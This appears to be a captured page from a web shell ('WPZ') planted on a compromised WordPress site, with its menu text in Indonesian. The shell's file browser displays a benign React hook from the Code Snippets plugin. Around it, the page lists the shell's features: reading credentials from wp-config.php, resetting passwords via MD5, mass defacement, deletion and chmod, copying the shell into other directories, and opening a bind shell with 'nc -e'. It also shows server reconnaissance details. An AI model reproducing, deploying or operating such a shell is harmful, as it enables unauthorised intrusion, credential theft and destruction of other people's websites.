WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / code-snippets / js / hooks / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/code-snippets/js/hooks/useSnippetForm.tsx (2.7 KB)
import { isAxiosError } from 'axios'
import React, { useCallback, useMemo, useState } from 'react'
import { createContextHook } from '../utils/hooks'
import { isLicensed } from '../utils/screen'
import { isProSnippet } from '../utils/snippets/snippets'
import type { Dispatch, PropsWithChildren, SetStateAction } from 'react'
import type { ScreenNotice } from '../types/ScreenNotice'
import type { Snippet } from '../types/Snippet'
import type { CodeEditorInstance } from '../types/WordPressCodeEditor'

export interface SnippetFormContext {
	snippet: Snippet
	isWorking: boolean
	isReadOnly: boolean
	setSnippet: Dispatch<SetStateAction<Snippet>>
	updateSnippet: Dispatch<SetStateAction<Snippet>>
	setIsWorking: Dispatch<SetStateAction<boolean>>
	currentNotice: ScreenNotice | undefined
	setCurrentNotice: Dispatch<SetStateAction<ScreenNotice | undefined>>
	codeEditorInstance: CodeEditorInstance | undefined
	handleRequestError: (error: unknown, message?: string) => void
	setCodeEditorInstance: Dispatch<SetStateAction<CodeEditorInstance | undefined>>
}

export const [SnippetFormContext, useSnippetForm] = createContextHook<SnippetFormContext>('SnippetForm')

export interface WithSnippetFormContextProps extends PropsWithChildren {
	initialSnippet: () => Snippet
}

export const WithSnippetFormContext: React.FC<WithSnippetFormContextProps> = ({ children, initialSnippet }) => {
	const [snippet, setSnippet] = useState<Snippet>(initialSnippet)
	const [isWorking, setIsWorking] = useState(false)
	const [currentNotice, setCurrentNotice] = useState<ScreenNotice>()
	const [codeEditorInstance, setCodeEditorInstance] = useState<CodeEditorInstance>()

	const isReadOnly = useMemo(() => !isLicensed() && isProSnippet({ scope: snippet.scope }), [snippet.scope])

	const handleRequestError = useCallback((error: unknown, message?: string) => {
		console.error('Request failed', error)
		setIsWorking(false)
		setCurrentNotice(['error', [message, isAxiosError(error) ? error.message : ''].filter(Boolean).join(' ')])
	}, [setIsWorking, setCurrentNotice])

	const updateSnippet: Dispatch<SetStateAction<Snippet>> = useCallback((value: SetStateAction<Snippet>) => {
		setSnippet(previous => {
			const updated = 'object' === typeof value ? value : value(previous)
			codeEditorInstance?.codemirror.setValue(updated.code)
			window.tinymce?.activeEditor.setContent(updated.desc)
			return updated
		})
	}, [codeEditorInstance?.codemirror])

	const value: SnippetFormContext = {
		snippet,
		isWorking,
		isReadOnly,
		setSnippet,
		setIsWorking,
		updateSnippet,
		currentNotice,
		setCurrentNotice,
		codeEditorInstance,
		handleRequestError,
		setCodeEditorInstance
	}

	return <SnippetFormContext.Provider value={value}>{children}</SnippetFormContext.Provider>
}
namawaktuukuranownerpermaksi
..
useAxios.ts 2026-07-30 21:371.34 KB 76129f60960:kunden-xw-x-----
edt
useFileUploadAPI.ts 2026-07-30 21:371.95 KB 76129f60960:kunden-xw-x-----
edt
useImportersAPI.ts 2026-07-30 21:371.41 KB 76129f60960:kunden-xw-x-----
edt
useRestAPI.tsx 2026-07-30 21:372.2 KB 76129f60960:kunden-xw-x-----
edt
useSnippetForm.tsx 2026-07-30 21:372.7 KB 76129f60960:kunden-xw-x-----
edt
useSnippetsList.tsx 2026-07-30 21:371.32 KB 76129f60960:kunden-xw-x-----
edt
useSubmitSnippet.ts 2026-07-30 21:374.75 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/code-snippets/js/hooks
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK